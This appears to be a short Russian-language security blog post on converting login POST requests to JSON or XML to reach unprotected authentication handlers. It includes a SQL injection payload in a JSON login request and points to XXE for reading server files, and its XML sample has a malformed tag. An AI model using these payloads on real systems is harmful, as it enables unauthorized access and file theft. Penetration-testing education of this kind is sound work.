Как внедрить инъекцию через JSON/XML-заглушки для API

Как найти уязвимости там, где их ещё никто не искал? Попробуй перевести POST-запрос, например, для аутентификации в JSON- или XML-формат. Идея в том, что разработчики часто оставляют различные способы аутентификации, обычно, для дальнейшего использования сторонними приложениями. А так как эта функциональность не на виду, часто она не защищена от банальных инъекций. а если в дело вступает XML — чтение произвольных файлов на сервере практически гарантированно!

Смотри, есть стандартный вход на сайт:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
...
username=demologin&password=demopass

Теперь переведем все параметры в json формат

POST /login HTTP/1.1
Content-Type: application/json
...
{ "username": "demologin", "password": "demopass" }

Если аутентификация произошла — попробуй сделать из этого инъекцию, например:

POST /login HTTP/1.1
Content-Type: application/json
...
{ "username": "demologin’ OR 1=1--", "password": "demopass" }

Не забывай, что это JSON, и чтобы не нарушить его структуру, вектор вида " OR "a"="a необходимо отпрaвлять с экранированными кавычками — " OR "a"="a.

Так же попробуй перевести в XML, главное не забудь про Content-type, многие веб-приложения не захотят парсить XML без него!

POST /login HTTP/1.1
Content-Type: application/xml
...
<?xml version="1.0" ?>
<username>demologin<username>
<password>demopass</password>

Всё получилось? Пробуй XXE — и возможно у тебя в руках чтение произвольных файлов на сервере. Круто, правда?

Click to rate this post!
[Total: 11 Average: 3.8]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.